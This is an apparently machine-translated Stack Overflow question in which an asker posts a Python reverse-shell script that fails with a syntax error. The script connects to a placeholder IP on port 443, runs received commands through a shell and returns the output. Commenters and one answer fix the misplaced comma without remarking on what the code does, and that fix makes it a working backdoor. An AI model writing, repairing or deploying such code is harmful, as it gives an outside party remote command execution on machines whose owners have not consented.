2015-02-05 127 views
0

這裏是我的代碼,當我運行它,我得到這個錯誤:"SyntaxError: non-keyword arg after keyword arg"語法錯誤:關鍵字參數後非關鍵字參數

#!/usr/bin/python 

import subprocess 

import socket 

host = 'IP ADDRESS' 

port = 443 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((host, port)) 
s.send('Hello there!\n') 

while 1: 

    data = s.recv(1024) 
    if data == 'quit': 
     break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE) 
    stdoutput = proc.stdout.read() + proc.stderr.read() 
    s.send(stdoutput) 
s.send('Bye') 

s.close() 
+0

假設在traceback中突出顯示了'proc = subprocess.Popen(data,shell = True,stdout = subprocess.PIPE,stderr = subprocess.PIPE,stdin,subprocess.PIPE)'這行,並且錯誤消息告訴你*究竟是什麼問題*。那麼你沒有得到什麼? – jonrsharpe 2015-02-05 20:19:29

+0

[「SyntaxError:關鍵字arg後的非關鍵字arg」在使用requests.post()時出現Python錯誤(http://stackoverflow.com/questions/15723294/syntaxerror-non-keyword-arg-after-關鍵字-arg錯誤在python-when-using-requ) – jonrsharpe 2015-02-05 20:20:26

+0

@jonsharpe不,這不是問題在這裏。這是一個錯誤 - 'stdin,subprocess.PIPE'應該是'stdin = subprocess.PIPE'。 – MattDMo 2015-02-05 20:35:28

回答

0

你有一個逗號,凡等於=應該是:

proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin,subprocess.PIPE) 
                          ^

應該是stdin=subprocess.PIPE

相關問題